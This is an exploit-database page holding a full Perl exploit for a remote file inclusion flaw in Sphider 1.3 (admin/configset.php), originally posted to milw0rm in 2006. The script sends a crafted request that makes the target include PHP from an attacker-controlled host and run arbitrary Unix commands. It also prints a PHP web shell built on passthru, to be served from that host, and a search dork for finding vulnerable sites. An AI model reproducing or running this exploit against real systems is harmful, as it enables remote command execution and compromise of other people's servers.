Lucene search
K

Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Sphider <= 1.3 Arbitrary Remote Inclusion Exploit using configset.ph

Code

                                                #!/usr/bin/perl
use IO::Socket;

print &#34;\r\nSphider &#60;= 1.3 arbitrary remote inclusion\r\n&#34; ;
print &#34;-&#62; works with register_globals = On & allow_url_fopen = On\r\n&#34;;
print &#34;by rgod rgod&#60;AT&#62;autistici&#60;DOT&#62;org\r\n&#34;;
print &#34;site: http://retrogod.altervista.org\r\n&#34;;
print &#34;\r\ndork: \&#34;powered by sphider\&#34;\r\n&#34;;

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/&#34;%&#34; . unpack(&#34;H2&#34;, $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=&#34;&#34;; for ($i=3; $i&#60;=$#ARGV; $i++) {$cmd.=&#34;%20&#34;.urlEncode($ARGV[$i]);};

if (@ARGV &#60; 4)
{
print &#34;\r\nUsage:\r\n&#34;;
print &#34;perl sphider_xpl.pl server path location command\r\n\r\n&#34;;
print &#34;server         - Server where sphider is installed.\r\n&#34;;
print &#34;path           - Path to sphider (ex: /sphider/ or just /) \r\n&#34;;
print &#34;location       - a site with the code to include (without ending slash)\r\n&#34;;
print &#34;command        - a Unix command\r\n\r\n&#34;;
print &#34;Example:\r\n&#34;;
print &#34;perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -la\r\n\r\n&#34;;
print &#34;note: on http location you need this code in /conf.php/index.html :\r\n\r\n&#34;;
print &#34;&#60;?php\r\n&#34;;
print &#34;ob_clean();\r\n&#34;;
print &#34;if (get_magic_quotes_gpc())\r\n&#34;;
print &#34;{\$_GET[\&#34;cmd\&#34;]=stripslashes(\$_GET[\&#34;cmd\&#34;]);}\r\n&#34;;
print &#34;ini_set(\&#34;max_execution_time\&#34;,0);\r\n&#34;;
print &#34;echo 56789;\r\n&#34;;
print &#34;passthru(\$_GET[\&#34;cmd\&#34;]);\r\n&#34;;
print &#34;die;\r\n&#34;;
print &#34;?&#62;\r\n&#34;;
exit();
}
  $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$serv&#34;, Timeout  =&#62; 10, PeerPort=&#62;&#34;http(80)&#34;)
  or die &#34;[+] Connecting ... Could not connect to host.\n\n&#34;;
  print $sock &#34;GET &#34;.$path.&#34;admin/configset.php?cmd=&#34;.$cmd.&#34;&settings_dir=&#34;.$loc.&#34; HTTP/1.0\r\n&#34;;
  print $sock &#34;Host: &#34;.$serv.&#34;\r\n&#34;;
  print $sock &#34;Connection: Close\r\n\r\n&#34;;
  $out=&#34;&#34;;
  while ($answer = &#60;$sock&#62;) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp&#62;0) {print &#34;\r\nExploit succeeded...\r\n&#34;.$temp[1];exit();}
  #if you are here...
  print &#34;\r\nExploit failed...\r\n&#34;;

# milw0rm.com [2006-04-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
8